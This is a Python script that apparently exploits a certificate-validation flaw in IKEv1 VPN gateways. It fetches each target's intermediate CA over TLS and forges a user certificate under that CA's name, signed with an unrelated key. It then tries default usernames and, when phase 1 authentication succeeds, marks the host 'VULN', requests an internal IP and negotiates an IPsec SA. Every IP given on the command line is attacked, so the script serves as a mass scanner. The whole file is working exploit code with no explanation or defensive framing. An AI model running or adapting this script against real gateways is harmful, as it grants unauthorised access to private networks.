import datetime, hashlib, hmac, os, socket, struct, subprocess, sys

from cryptography import x509
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import padding, rsa
from cryptography.hazmat.primitives.asymmetric.utils import Prehashed
from cryptography.x509.oid import NameOID
from cryptography.x509.name import _ASN1Type

HDR = 28

DH_P = int(
    "FFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74"
    "020BBEA63B139B22514A08798E3404DDEF9519B3CD3A431B302B0A6DF25F1437"
    "4FE1356D6D51C245E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7ED"
    "EE386BFB5A899FA5AE9F24117C4B1FE649286651ECE65381FFFFFFFFFFFFFFFF", 16)
DH_G = 2

CP_VID = bytes.fromhex("F4ED19E0C114EB516FAAAC0EE37DAF2807B4381F")
CCC_VID = bytes.fromhex("DEFB99E69A9F1F6E06F15006B1F166AE")
FRAG_VID = bytes.fromhex("4048B7D56EBCE88525E7DE7F00D6C2D3")


def prf(key, data):
    return hmac.new(key, data, hashlib.sha1).digest()


def aes_enc(key, iv, data):
    from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
    pad = 16 - (len(data) % 16)
    data = data + b"\x00" * pad
    e = Cipher(algorithms.AES(key), modes.CBC(iv)).encryptor()
    return e.update(data)


def aes_dec(key, iv, data):
    from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
    d = Cipher(algorithms.AES(key), modes.CBC(iv)).decryptor()
    return d.update(data[:len(data) - (len(data) % 16)])


def payload(nxt, body):
    return struct.pack(">BBH", nxt, 0, 4 + len(body)) + body


def chain(items):
    out = b""
    for i, (typ, body) in enumerate(items):
        nxt = 0 if i + 1 == len(items) else items[i + 1][0]
        out += payload(nxt, body)
    return out


def sa_payload():
    a = struct.pack(">HH", 0x8000 | 1, 7)
    a += struct.pack(">HH", 0x8000 | 2, 2)
    a += struct.pack(">HH", 0x8000 | 3, 3)
    a += struct.pack(">HH", 0x8000 | 4, 2)
    a += struct.pack(">HH", 0x8000 | 14, 256)
    a += struct.pack(">HH", 0x8000 | 11, 1)
    a += struct.pack(">HH", 0x0000 | 12, 4) + struct.pack(">I", 28800)
    tr = struct.pack(">BBH", 0, 0, 8 + len(a)) + struct.pack(">BBBB", 1, 1, 0, 0) + a
    prop = struct.pack(">BBHBBBB", 0, 0, 8 + len(tr), 1, 1, 0, 1) + tr
    return struct.pack(">II", 1, 1) + prop


SA = sa_payload()


def hdr(c1, c2, nxt, exchange, flags, msgid, blen):
    return struct.pack(">QQBBBBII", int.from_bytes(c1, "big"), int.from_bytes(c2, "big"),
                       nxt, 0x10, exchange, flags, msgid, HDR + blen)


def text_of(data):
    best = ""
    cur = []
    for b in data:
        if 32 <= b < 127:
            cur.append(chr(b))
        else:
            if len(cur) > len(best):
                best = "".join(cur)
            cur = []
    if len(cur) > len(best):
        best = "".join(cur)
    return best if len(best) >= 8 else ""


def parse_payloads(data, first_type):
    out = []
    off, cur = HDR, first_type
    while cur and off + 4 <= len(data):
        nxt, _, ln = struct.unpack(">BBH", data[off:off + 4])
        if ln < 4 or off + ln > len(data):
            break
        out.append((cur, data[off + 4:off + ln], data[off:off + ln]))
        cur = nxt
        off += ln
    return out


def get_ica(ip, host=None):
    """Return (ders, ica_org) from the TLS chain via openssl; ders[0] is the leaf."""
    target = host or ip
    p = subprocess.run(["openssl", "s_client", "-connect", "%s:443" % ip, "-showcerts",
                        "-servername", target],
                       input="", capture_output=True, text=True, timeout=20)
    blocks = []
    cur = None
    for line in p.stdout.splitlines():
        if "-----BEGIN CERTIFICATE-----" in line:
            cur = []
            continue
        if "-----END CERTIFICATE-----" in line:
            if cur:
                blocks.append("".join(cur))
            cur = None
            continue
        if cur is not None:
            cur.append(line.strip())
    ders = []
    for b in blocks:
        try:
            ders.append(ssl_pem_to_der(b))
        except Exception:
            pass
    if len(ders) < 2:
        return ders, None
    try:
        cert = x509.load_der_x509_certificate(ders[1])
        org = None
        for a in cert.subject:
            if a.oid == NameOID.ORGANIZATION_NAME:
                org = a.value
                break
    except Exception:
        return ders, None
    return ders, org


def ssl_pem_to_der(body):
    import base64
    return base64.b64decode("".join(body))


def forge(username, ica_der, org, ica_subject=None, chain_ders=None):
    class F:
        pass
    f = F()
    f.username = username
    f.signing_key = rsa.generate_private_key(65537, 2048)
    xkey = rsa.generate_private_key(65537, 3072)
    printable = lambda oid, v: x509.NameAttribute(oid, v, _type=_ASN1Type.PrintableString)
    if ica_subject is not None:
        issuer = ica_subject
    else:
        issuer = x509.Name([printable(NameOID.ORGANIZATION_NAME, org)])
    subject = x509.Name([printable(NameOID.ORGANIZATION_NAME, org),
                         printable(NameOID.ORGANIZATIONAL_UNIT_NAME, "users"),
                         printable(NameOID.COMMON_NAME, username)])
    now = datetime.datetime.now(datetime.timezone.utc)
    ica_cert = x509.load_der_x509_certificate(ica_der)
    if chain_ders is None:
        chain_ders = [ica_der]
    b = (x509.CertificateBuilder()
         .subject_name(subject).issuer_name(issuer)
         .public_key(f.signing_key.public_key())
         .serial_number(1001)
         .not_valid_before(now - datetime.timedelta(days=1))
         .not_valid_after(now + datetime.timedelta(days=365))
         .add_extension(x509.BasicConstraints(ca=False, path_length=None), critical=False)
         .add_extension(x509.KeyUsage(digital_signature=True, key_encipherment=True,
                                      content_commitment=False, data_encipherment=False,
                                      key_agreement=False, key_cert_sign=False, crl_sign=False,
                                      encipher_only=False, decipher_only=False), critical=False)
         .add_extension(x509.AuthorityKeyIdentifier.from_issuer_public_key(ica_cert.public_key()),
                        critical=False))
    leaf = b.sign(xkey, hashes.SHA256())
    f.leaf_der = leaf.public_bytes(serialization.Encoding.DER)
    f.subject_dn = subject.public_bytes()
    f.chain_ders = []
    last = len(chain_ders) - 1
    for i, der in enumerate(chain_ders):
        if i == last:
            bad = bytearray(der)
            for k in range(4):
                bad[-(k + 1)] ^= 0xFF
            f.chain_ders.append(bytes(bad))
        else:
            f.chain_ders.append(der)
    f.ica_bad = f.chain_ders[-1] if f.chain_ders else ica_der
    return f


class Session:
    def __init__(self, ip, username="vpnuser", timeout=6.0):
        self.ip = ip
        self.user = username
        self.to = timeout
        self.s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        try:
            self.s.bind(("0.0.0.0", 500))
        except OSError:
            self.s.bind(("0.0.0.0", 0))
        self.s.settimeout(self.to)
        self.c1 = os.urandom(8)
        self.c2 = b"\x00" * 8
        self.ni = os.urandom(32)
        self.nr = None
        self.sa = SA
        self.keys = {}
        self.ipsec_iv = None
        self.assigned = None
        self.notes = []
        self.debug = False

    def send(self, data):
        self.s.sendto(data, (self.ip, 500))

    def recv(self, want=None):
        while True:
            try:
                d, _ = self.s.recvfrom(65535)
            except socket.timeout:
                return None
            if len(d) < HDR or d[0:8] != self.c1:
                continue
            if want is not None and d[18] != want:
                continue
            return d

    def note(self, msg):
        self.notes.append(msg)

    def msg1(self):
        body = chain([(1, self.sa),
                      (13, CP_VID + struct.pack(">IIIII", 2, 0, 0, 0, 0)),
                      (13, CCC_VID), (13, FRAG_VID)])
        self.send(hdr(self.c1, self.c2, 1, 2, 0, 0, len(body)) + body)
        d = self.recv(want=2)
        if d is None:
            return False
        self.c2 = d[8:16]
        pls = parse_payloads(d, d[16])
        for typ, body_, raw in pls:
            if typ == 1 and body_:
                self.sa = body_
            if typ == 13:
                self.note("vid:" + body_[:20].hex())
        return True

    def msg3(self):
        self.dh_priv = int.from_bytes(os.urandom(128), "big") % DH_P
        self.dh_pub = pow(DH_G, self.dh_priv, DH_P)
        self.dh_pub_b = self.dh_pub.to_bytes(128, "big")
        body = chain([(4, self.dh_pub_b), (10, self.ni)])
        self.send(hdr(self.c1, self.c2, 4, 2, 0, 0, len(body)) + body)
        for _ in range(6):
            d = self.recv(want=2)
            if d is None:
                return False
            pls = parse_payloads(d, d[16])
            for typ, body_, raw in pls:
                if typ == 4:
                    self.srv_pub_b = body_
                elif typ == 10:
                    self.nr = body_
            if getattr(self, "srv_pub_b", None) and self.nr:
                return True
        return False

    def derive(self):
        gxy = pow(int.from_bytes(self.srv_pub_b, "big"), self.dh_priv, DH_P).to_bytes(128, "big")
        skeyid = prf(self.ni + self.nr, gxy)
        skeyid_d = prf(skeyid, gxy + self.c1 + self.c2 + b"\x00")
        skeyid_a = prf(skeyid, skeyid_d + gxy + self.c1 + self.c2 + b"\x01")
        skeyid_e = prf(skeyid, skeyid_a + gxy + self.c1 + self.c2 + b"\x02")
        k = prf(skeyid_e, b"\x00")
        while len(k) < 32:
            k += prf(skeyid_e, k[-20:])
        self.keys = {"id": skeyid, "d": skeyid_d, "a": skeyid_a, "e": k[:32]}
        self.iv0 = hashlib.sha1(self.dh_pub_b + self.srv_pub_b).digest()[:16]

    def msg5(self, f, with_hash=True, layout=None):
        self.derive()
        id_body = struct.pack(">BBH", 9, 0, 0) + f.subject_dn
        hash_i = prf(self.keys["id"], self.dh_pub_b + self.srv_pub_b + self.c1 + self.c2
                     + self.sa + id_body)
        sig = f.signing_key.sign(hash_i, padding.PKCS1v15(), Prehashed(hashes.SHA1()))
        items = []
        if with_hash:
            items.append((8, hash_i))
        if layout == "sa":
            items.append((1, self.sa))
        items.append((5, id_body))
        items.append((6, b"\x04" + f.leaf_der))
        if layout != "leaf":
            for i, der in enumerate(f.chain_ders):
                items.append((6, b"\x04" + der))
        items.append((9, sig))
        ct = aes_enc(self.keys["e"], self.iv0, chain(items))
        self.send(hdr(self.c1, self.c2, 8 if with_hash else 5, 2, 1, 0, len(ct)) + ct)
        for _ in range(8):
            d = self.recv()
            if d is None:
                return False
            if d[18] == 2 and (d[19] & 1):
                self.ipsec_iv = d[-16:]
                self.note("phase1:ok")
                return True
            if d[18] == 5:
                if d[19] & 1 and self.keys:
                    iv = hashlib.sha1(self.ipsec_iv or b"\x00" * 16).digest()[:16]
                    try:
                        plain = aes_dec(self.keys["e"], self.iv0, d[28:])
                        for typ, body_, raw in parse_payloads(b"\x00" * HDR + plain, 8):
                            if typ == 11 and len(body_) >= 8:
                                self.note("enc_notify:%d" % struct.unpack(">H", body_[6:8])[0])
                    except Exception:
                        self.note("enc_notify:undec")
                else:
                    pls = parse_payloads(d, d[16])
                    for typ, body_, raw in pls:
                        if typ == 11 and len(body_) >= 8:
                            self.note("notify:%d" % struct.unpack(">H", body_[6:8])[0])
                if self.debug:
                    self.note("r5:" + d.hex()[:120])
                txt = text_of(d)
                if txt:
                    self.note("t:" + txt[:90])
                return False
        return False

    def enc_send(self, exchange, msgid, items):
        body = chain(items)
        h = prf(self.keys["a"], struct.pack(">I", msgid) + body)
        ct = aes_enc(self.keys["e"], self.ipsec_iv, payload(8, h) + body)
        self.ipsec_iv = ct[-16:]
        self.send(hdr(self.c1, self.c2, 8, exchange, 1, msgid, len(ct)) + ct)

    def enc_recv(self):
        d = self.recv()
        if d is None or not (d[19] & 1):
            return None, None
        msgid = struct.unpack(">I", d[20:24])[0]
        iv = self.ipsec_iv
        try:
            plain = aes_dec(self.keys["e"], iv, d[28:])
        except Exception:
            return None, None
        if len(d) >= HDR + 16:
            self.ipsec_iv = d[-16:]
        return msgid, plain


    def mode_config(self):
        msgid = struct.unpack(">I", os.urandom(4))[0] or 1
        attrs = struct.pack(">HH", 1, 4) + b"\x00\x00\x00\x00"
        attrs += struct.pack(">HH", 2, 0) + struct.pack(">HH", 3, 0)
        cfg = struct.pack(">BBH", 1, 0, 0) + attrs
        self.enc_send(6, msgid, [(14, cfg)])
        for _ in range(6):
            mid, plain = self.enc_recv()
            if plain is None:
                continue
            if mid in (msgid, msgid - 1):
                for typ, body_, raw in parse_payloads(b"\x00" * HDR + plain, 8):
                    if typ == 14:
                        self._parse_cfg(body_)
                if self.assigned:
                    return True
        return self.assigned is not None

    def _parse_cfg(self, body):
        off = 4
        while off + 4 <= len(body):
            at = struct.unpack(">H", body[off:off + 2])[0]
            tlv = bool(at & 0x8000)
            at &= 0x7FFF
            if tlv:
                off += 4
                continue
            ln = struct.unpack(">H", body[off + 2:off + 4])[0]
            val = body[off + 4:off + 4 + ln]
            if at == 1 and len(val) == 4:
                self.assigned = ".".join(str(b) for b in val)
            off += 4 + ln

    def quick_mode(self):
        msgid = struct.unpack(">I", os.urandom(4))[0] or 1
        self.qni = os.urandom(32)
        self.spi_c = os.urandom(4)
        attrs = struct.pack(">HH", 0x8000 | 1, 1)
        attrs += struct.pack(">HH", 2, 4)
        attrs += struct.pack(">I", 3600)
        attrs += struct.pack(">HH", 0x8000 | 4, 1)
        attrs += struct.pack(">HH", 0x8000 | 5, 2)
        tr = struct.pack(">BBHBBBB", 0, 0, 8 + len(attrs), 1, 3, 0, 0) + attrs
        prop = struct.pack(">BBHBBBB", 0, 0, 8 + 4 + len(tr), 1, 3, 4, 1) + self.spi_c + tr
        sa = struct.pack(">II", 1, 1) + prop
        ipb = bytes(int(x) for x in self.assigned.split("."))
        id_c = struct.pack(">BBH", 1, 0, 0) + ipb
        id_s = struct.pack(">BBH", 4, 0, 0) + b"\x00" * 8
        self.enc_send(32, msgid, [(1, sa), (10, self.qni), (5, id_c), (5, id_s)])
        for _ in range(8):
            mid, plain = self.enc_recv()
            if plain is None:
                continue
            for typ, body_, raw in parse_payloads(b"\x00" * HDR + plain, 8):
                if typ == 1 and len(body_) > 16 and body_[14] == 4:
                    self.spi_s = body_[16:20]
                elif typ == 10:
                    self.qnr = body_
        return getattr(self, "spi_s", None) is not None

    def run(self, f, with_hash=True, layout=None, fast=False):
        res = {"ip": self.ip, "user": self.user, "phase1": False, "ip_assigned": None,
               "spi_s": None, "notes": self.notes}
        if not self.msg1():
            res["notes"].append("no_msg2")
            return res
        if not self.msg3():
            res["notes"].append("no_msg4")
            return res
        if not self.msg5(f, with_hash, layout):
            return res
        res["phase1"] = True
        if fast:
            res["notes"] = self.notes
            return res
        try:
            self.mode_config()
        except Exception:
            pass
        res["ip_assigned"] = self.assigned
        if self.assigned:
            try:
                self.quick_mode()
                res["spi_s"] = getattr(self, "spi_s", None)
            except Exception:
                pass
        res["notes"] = self.notes
        return res

    def close(self):
        try:
            self.s.close()
        except Exception:
            pass


def one(ip, users=("vpnuser", "vpn", "vpn-user", "testuser"), with_hash=False, debug=False, layout=None):
    ders, org = get_ica(ip)
    if len(ders) < 2:
        return "%s\tNOCHAIN\t\t\t\t%s" % (ip, "no 2-cert chain")
    ica = ders[1]
    subj = None
    try:
        subj = x509.load_der_x509_certificate(ica).subject
    except Exception:
        pass
    if not org:
        try:
            for a in subj:
                if a.oid == NameOID.ORGANIZATION_NAME:
                    org = a.value
        except Exception:
            org = None
    if not org:
        return "%s\tNOORG\t\t\t\t%s" % (ip, "ica without O=")
    chain = ders[1:]
    f = forge(users[0], ica, org, subj, chain)
    last = None
    for user in users:
        if user != users[0]:
            f = forge(user, ica, org, subj, chain)
        s = Session(ip, user)
        s.debug = debug
        try:
            r = s.run(f, with_hash, layout)
        finally:
            s.close()
        last = r
        if r["phase1"]:
            break
    return "%s\t%s\t%s\t%s\t%s\t%s" % (
        ip, "VULN" if last["phase1"] else "no", last["user"],
        last["ip_assigned"] or "", (last["spi_s"] or b"").hex(), ",".join(last["notes"])[:520])


if __name__ == "__main__":
    wf = "--nohash" not in sys.argv
    dbg = "--debug" in sys.argv
    layout = None
    for a in sys.argv[1:]:
        if a.startswith("--layout="):
            layout = a.split("=", 1)[1]
    args = [a for a in sys.argv[1:] if not a.startswith("-")]
    for ip in args:
        print(one(ip, with_hash=wf, debug=dbg, layout=layout), flush=True)
